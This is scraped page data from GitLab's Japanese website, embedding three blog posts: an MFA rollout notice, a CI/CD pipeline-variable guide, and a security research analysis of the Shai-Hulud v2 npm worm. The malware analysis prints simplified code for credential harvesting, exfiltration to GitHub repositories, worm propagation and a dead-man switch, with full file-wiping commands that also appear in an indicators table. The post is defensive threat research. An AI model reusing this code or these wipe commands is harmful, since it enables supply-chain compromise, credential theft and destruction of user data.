pricing","GoBack",{"altText":412,"config":440},{"src":414,"dataGaName":415,"dataGaLocation":410},{"altText":412,"config":442},{"src":418,"dataGaName":415,"dataGaLocation":410},{"title":444,"button":445,"config":450},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":446,"config":447},"GitLab Transcendを今すぐ視聴",{"href":448,"dataGaName":449,"dataGaLocation":49},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":451,"icon":452},"release","AiStar",{"data":454},{"text":455,"source":456,"edit":462,"contribute":467,"config":472,"items":477,"minimal":651},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":457,"config":458},"ページのソースを表示",{"href":459,"dataGaName":460,"dataGaLocation":461},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":463,"config":464},"このページを編集",{"href":465,"dataGaName":466,"dataGaLocation":461},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":468,"config":469},"ご協力をお願いします",{"href":470,"dataGaName":471,"dataGaLocation":461},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":473,"facebook":474,"youtube":475,"linkedin":476},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[478,501,555,585,620],{"title":67,"links":479,"subMenu":484},[480],{"text":481,"config":482},"DevSecOpsプラットフォーム",{"href":76,"dataGaName":483,"dataGaLocation":461},"devsecops platform",[485],{"title":190,"links":486},[487,491,496],{"text":488,"config":489},"プランの表示",{"href":192,"dataGaName":490,"dataGaLocation":461},"view plans",{"text":492,"config":493},"Premiumを選ぶ理由",{"href":494,"dataGaName":495,"dataGaLocation":461},"/ja-jp/pricing/premium/","why premium",{"text":497,"config":498},"Ultimateを選ぶ理由",{"href":499,"dataGaName":500,"dataGaLocation":461},"/ja-jp/pricing/ultimate/","why ultimate",{"title":502,"links":503},"ソリューション",[504,509,512,514,519,524,528,531,534,539,541,543,545,550],{"text":505,"config":506},"デジタルトランスフォーメーション",{"href":507,"dataGaName":508,"dataGaLocation":461},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":510,"config":511},"セキュリティとコンプライアンス",{"href":132,"dataGaName":139,"dataGaLocation":461},{"text":124,"config":513},{"href":108,"dataGaName":109,"dataGaLocation":461},{"text":515,"config":516},"アジャイル開発",{"href":517,"dataGaName":518,"dataGaLocation":461},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":520,"config":521},"クラウドトランスフォーメーション",{"href":522,"dataGaName":523,"dataGaLocation":461},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":525,"config":526},"SCM",{"href":121,"dataGaName":527,"dataGaLocation":461},"source code management",{"text":112,"config":529},{"href":114,"dataGaName":530,"dataGaLocation":461},"continuous integration & delivery",{"text":162,"config":532},{"href":164,"dataGaName":533,"dataGaLocation":461},"value stream management",{"text":535,"config":536},"GitOps",{"href":537,"dataGaName":538,"dataGaLocation":461},"/ja-jp/solutions/gitops/","gitops",{"text":175,"config":540},{"href":177,"dataGaName":178,"dataGaLocation":461},{"text":180,"config":542},{"href":182,"dataGaName":183,"dataGaLocation":461},{"text":185,"config":544},{"href":187,"dataGaName":188,"dataGaLocation":461},{"text":546,"config":547},"教育",{"href":548,"dataGaName":549,"dataGaLocation":461},"/ja-jp/solutions/education/","education",{"text":551,"config":552},"金融サービス",{"href":553,"dataGaName":554,"dataGaLocation":461},"/ja-jp/solutions/finance/","financial services",{"title":195,"links":556},[557,559,561,563,566,568,571,573,575,577,579,581,583],{"text":207,"config":558},{"href":209,"dataGaName":210,"dataGaLocation":461},{"text":212,"config":560},{"href":214,"dataGaName":215,"dataGaLocation":461},{"text":217,"config":562},{"href":219,"dataGaName":220,"dataGaLocation":461},{"text":222,"config":564},{"href":224,"dataGaName":565,"dataGaLocation":461},"docs",{"text":245,"config":567},{"href":247,"dataGaName":248},{"text":569,"config":570},"お客様の成功事例",{"href":242,"dataGaLocation":461},{"text":240,"config":572},{"href":242,"dataGaName":243,"dataGaLocation":461},{"text":250,"config":574},{"href":252,"dataGaName":253,"dataGaLocation":461},{"text":258,"config":576},{"href":260,"dataGaName":261,"dataGaLocation":461},{"text":263,"config":578},{"href":265,"dataGaName":266,"dataGaLocation":461},{"text":268,"config":580},{"href":270,"dataGaName":271,"dataGaLocation":461},{"text":273,"config":582},{"href":275,"dataGaName":276,"dataGaLocation":461},{"text":278,"config":584},{"href":280,"dataGaName":281,"dataGaLocation":461},{"title":586,"links":587},"Company",[588,590,592,594,596,598,600,604,609,611,613,615],{"text":303,"config":589},{"href":305,"dataGaName":298,"dataGaLocation":461},{"text":308,"config":591},{"href":310,"dataGaName":311,"dataGaLocation":461},{"text":316,"config":593},{"href":318,"dataGaName":319,"dataGaLocation":461},{"text":321,"config":595},{"href":323,"dataGaName":324,"dataGaLocation":461},{"text":326,"config":597},{"href":328,"dataGaName":329,"dataGaLocation":461},{"text":331,"config":599},{"href":333,"dataGaName":334,"dataGaLocation":461},{"text":601,"config":602},"Sustainability",{"href":603,"dataGaName":601,"dataGaLocation":461},"/sustainability/",{"text":605,"config":606},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":607,"dataGaName":608,"dataGaLocation":461},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":336,"config":610},{"href":338,"dataGaName":339,"dataGaLocation":461},{"text":346,"config":612},{"href":348,"dataGaName":349,"dataGaLocation":461},{"text":351,"config":614},{"href":353,"dataGaName":354,"dataGaLocation":461},{"text":616,"config":617},"現代奴隷制の透明性に関する声明",{"href":618,"dataGaName":619,"dataGaLocation":461},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":56,"links":621},[622,624,629,631,636,641,646],{"text":56,"config":623},{"href":58,"dataGaName":59,"dataGaLocation":461},{"text":625,"config":626},"サポートを受ける",{"href":627,"dataGaName":628,"dataGaLocation":461},"/support/","get help",{"text":369,"config":630},{"href":371,"dataGaName":372,"dataGaLocation":461},{"text":632,"config":633},"ステータス",{"href":634,"dataGaName":635,"dataGaLocation":461},"https://status.gitlab.com/","status",{"text":637,"config":638},"利用規約",{"href":639,"dataGaName":640,"dataGaLocation":461},"/terms/","terms of use",{"text":642,"config":643},"プライバシーに関する声明",{"href":644,"dataGaName":645,"dataGaLocation":461},"/ja-jp/privacy/","privacy statement",{"text":647,"config":648},"Cookieの設定",{"dataGaName":649,"dataGaLocation":461,"id":650,"isOneTrustButton":12},"cookie preferences","ot-sdk-btn",{"items":652},[653,655,657],{"text":637,"config":654},{"href":639,"dataGaName":640,"dataGaLocation":461},{"text":642,"config":656},{"href":644,"dataGaName":645,"dataGaLocation":461},{"text":647,"config":658},{"dataGaName":649,"dataGaLocation":461,"id":650,"isOneTrustButton":12},[660],{"id":661,"title":18,"body":8,"config":662,"content":664,"description":8,"extension":28,"meta":668,"navigation":12,"path":669,"seo":670,"stem":671,"__hash__":672},"blogAuthors/en-us/blog/authors/fernando-diaz.yml",{"template":663},"BlogAuthor",{"name":18,"config":665},{"headshot":666,"ctfId":667},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659556/Blog/Author%20Headshots/fern_diaz.png","fjdiaz",{},"/en-us/blog/authors/fernando-diaz",{},"en-us/blog/authors/fernando-diaz","lxRJIOydP4_yzYZvsPcuQevP9AYAKREF7i8QmmdnOWc",[674,686,701],{"content":675,"config":684},{"title":676,"description":677,"authors":678,"heroImage":680,"date":681,"body":682,"category":9,"tags":683},"GitLab.comのセキュリティ強化：多要素認証の必須化","Secure by Designへのコミットメントの一環として、GitLabが多要素認証（MFA）を必須化する方法と、それがユーザーに与える影響について解説します。",[679],"Kim Waters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","2026-01-09","GitLab.comのすべてのユーザーアカウントのセキュリティ強化のため、GitLabでは、ユーザー名とパスワードを使用してサインインするすべてのユーザーとAPIエンドポイントに対して、多要素認証（MFA）を必須化します。\n\n## 多要素認証必須化の理由\n\n今回の変更は、GitLabの[Secure by Designへのコミットメント](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)における重要な取り組みの1つです。MFAは、ソフトウェア開発業界全体で継続的な脅威となっているクレデンシャルスタッフィング攻撃やアカウント乗っ取り攻撃に対する重要な防御手段となります。\n\n## 知っておくべき重要な情報\n\n### 何が変わるのか？\n\nGitLabは、ユーザー名とパスワードで認証するサインインに対して、MFAを必須化します。これにより、パスワードだけでなく、重要な第2の認証レイヤーが追加されます。\n\n### 適用されるケースとされないケース\n\n1. ***適用されるケース：*** ユーザー名とパスワードでGitLab.comにサインインする場合、またはパスワードを使用してAPIに認証する場合\n2. ***適用されないケース：*** アクセスにソーシャルサインオン（Googleなど）またはシングルサインオン（SSO）のみを使用している場合（*注意：SSOを使用していても、直接ログイン用のパスワードを設定している場合は、SSO以外のパスワードベースのログインに対してMFAが必要になります）*\n\n### ロールアウトのタイムライン\n\n1. 実装は今後数か月にわたって段階的に行われます。これは、ユーザーの予期しない中断や生産性の低下を最小限に抑え、アカウントのロックアウトを防ぐことを目的としています。ユーザーグループによって時期は異なりますが、近日中にMFAの有効化を求められます。各グループは、実行したアクション、またはコントリビュートしたコードに基づいて選択されます。以下の方法で通知されます。\n\n   * ✉️ メール通知 - 影響を受けるフェーズの前\n   * 🔔 定期的な製品内リマインダー - 14日前\n   * ⏱️ 一定期間後（メールが届きます） - MFAを有効にするまでGitLabへのアクセスがブロックされます\n\n### 必要な対応\n\n1. ユーザー名とパスワードでGitLab.comにサインインする場合：\n\n   * パスキー、認証アプリ、WebAuthnデバイス、またはメール認証など、利用可能なMFA方法の1つを今すぐ事前に設定することを強くおすすめします。これにより、最も安全でシームレスな移行が保証されます。\n   * GitLab.comの**ユーザー設定**にアクセスします。\n   * **アカウント**セクションを選択します。\n   * **2要素認証**を有効にし、希望する方法（認証アプリやWebAuthnデバイスなど）を設定します。\n   * 必要に応じてアクセスを回復できるよう、**リカバリーコードを安全に保存**してください。\n2. パスワードを使用してAPIに認証する場合：\n\n   * 個人アクセストークン（PAT）への切り替えを事前に行うことを強くおすすめします。詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#error-http-basic-access-denied-if-a-password-was-provided-for-git-authentication-)をご確認ください。\n\n## よくある質問\n\n*期限までにMFAを有効にしないとどうなりますか？*\n\n* サインインする前にMFAの設定が必要になります。\n\n*CI/CDパイプラインや自動化に影響はありますか？*\n\n* はい、パスワードの代わりにPATまたはデプロイトークンを使用していない場合は影響があります。\n\n*SSOを使用していますが、直接サインインすることもあります。その場合、MFAは必要ですか？*\n\n* はい、フォールバックシナリオを含む、パスワードベースの認証にはMFAが必要です。\n\n*どのようなMFAリカバリーオプションが利用できますか？*\n\n* [トラブルシューティングドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#recovery-options-and-2fa-reset)をご確認ください。*\n\n具体的なタイムラインとその他のリソースについては、ロールアウト日までに段階的に共有される予定です。この重要な変更についてご覧いただき、ありがとうございます。",[9,41],{"featured":32,"template":13,"slug":685},"strengthening-gitlab-com-security-mandatory-multi-factor-authentication",{"content":687,"config":699},{"heroImage":688,"body":689,"authors":690,"updatedDate":693,"date":694,"title":695,"tags":696,"description":698,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[691,692],"Michael Henriksen","Daniel Abeles","2025-12-01","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[9,697],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":12,"template":13,"slug":700},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":702,"config":713},{"heroImage":703,"body":704,"authors":705,"updatedDate":707,"date":708,"title":709,"tags":710,"description":712,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","[パイプライン変数](https://docs.gitlab.com/ci/variables/#use-pipeline-variables)は、GitLab\nCI/CDパイプラインを実行時にカスタマイズする便利な方法として長く活用されてきました。しかし、CI/CDセキュリティのベストプラクティスが進化するにつれ、パイプラインのカスタマイズに関してより強力な制御が必要であることが明らかになりました。制限のないパイプライン変数では、パイプライントリガー権限を持つユーザーが、検証や型のチェックなしに値を上書きできてしまいます。\n\n\n\nセキュリティ上の考慮事項に加えて、パイプライン変数には適切なドキュメントと明示的な宣言が欠けているため、どのような入力が想定され、パイプライン全体でどのように使用されるかを理解することが困難です。これにより、メンテナンスの課題が生じ、[CI/CD](https://about.gitlab.com/ja-jp/topics/ci-cd/)プロセスに対する適切なガバナンスの確立が難しくなります。\n\n\n\n## パイプライン入力の導入\n\n\n\nパイプライン変数に依存する代わりに、GitLabの[パイプライン入力](https://docs.gitlab.com/ci/inputs/#for-a-pipeline)機能の使用を強く推奨します。パイプライン入力には次の利点があります：\n\n\n\n* **明示的な宣言**: 入力は`.gitlab-ci.yml`で明示的に宣言する必要があり、自己文書化されます。\n\n\n* **型安全性**: 異なる入力型(文字列、ブール値、数値、配列)をサポートします。\n\n\n* **組み込みの検証**: 入力値の自動検証が行われます。\n\n\n* **セキュリティの向上**: 変数インジェクション攻撃のリスクがなく、宣言された入力のみが外部から渡されます。\n\n\n\n### 基本的な例\n\n\n\n```yaml\n\nspec:\n  inputs:\n    deployment_env:\n      description: \"ターゲットデプロイメント環境\"\n      type: string\n      options: [\"staging\", \"production\"]\n      default: \"staging\"\n    enable_tests:\n      description: \"テストスイートを実行\"\n      type: boolean\n      default: true\n\ntest:\n  script:\n    - echo \"テストを実行中\"\n  rules:\n    - if: $[[ inputs.enable_tests ]] == true\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deployment_env ]]へデプロイ中\"\n```\n\n\n\nCI/CD入力が検証付きで型安全なパラメータ渡しを実現する方法については、この[チュートリアル](https://about.gitlab.com/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/)をご覧ください。\n\n\n\n## パイプライン変数の制限\n\n\n\nパイプライン入力への移行を効果的に進め、パイプライン変数からの移行を促進するには、[「パイプライン変数が使用できる最小ロール」](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables)設定を構成する必要があります。この設定により、パイプラインをトリガーする際にどのロールがパイプライン変数を使用できるかを細かく制御できます。\n\n\n\n**プロジェクトレベル:** プロジェクトの **[設定] > [CI/CD] > [変数] > [パイプライン変数が使用できる最小ロール]** の順に移動して、設定を構成します。\n\n\n\n利用可能なオプション:\n\n\n\n* **誰にも許可しない**(`no_one_allowed`) - 推奨される最も安全なオプションです。すべての変数の上書きを防ぎます。\n\n\n* **デベロッパー**(`developer`) - デベロッパー以上のロールが変数を上書きできます。\n\n\n* **メンテナー**(`maintainer`) - メンテナーロール以上が必要です。\n\n\n* **オーナー**(`owner`) - プロジェクトオーナーのみが変数を上書きできます。\n\n\n\n**グループレベル:** グループメンテナーは、**[設定] > [CI/CD] > [変数] > [パイプライン変数を使えるデフォルトロール]**の順に移動して、グループ内のすべての新規プロジェクトに適用される安全なデフォルト値を設定できます。これにより組織全体で一貫したセキュリティポリシーを確保できます。ここでも、デフォルト値として**誰にも許可しない**を使用することを推奨します。これにより、このグループ内の新規プロジェクトは安全なデフォルト設定で作成されます。なお、プロジェクトオーナーは引き続きこの設定を変更できます。\n\n\n\nパイプライン変数が完全に制限されている場合(「誰にも許可しない」の場合)、[事前入力された変数](https://docs.gitlab.com/ci/pipelines/#prefill-variables-in-manual-pipelines)は「新しいパイプラインUI」フォームに表示されません。\n\n\n\n## パイプライン変数から移行する方法\n\n\n\n### ギャップを埋める\n\n\n\n組織内には、パイプラインをトリガーする際に一度も使用したことがないにもかかわらず、パイプライン変数がデフォルトで有効になっているプロジェクトが存在する可能性があります。これらのプロジェクトは、中断のリスクなしにより安全な設定に移行できます。GitLabは、グループ設定を通じて[移行機能を提供](https://docs.gitlab.com/ci/variables/#enable-pipeline-variable-restriction-for-multiple-projects)しています：\n\n\n\n* **[設定] > [CI/CD] > [変数]** の順に移動します。\n\n\n* 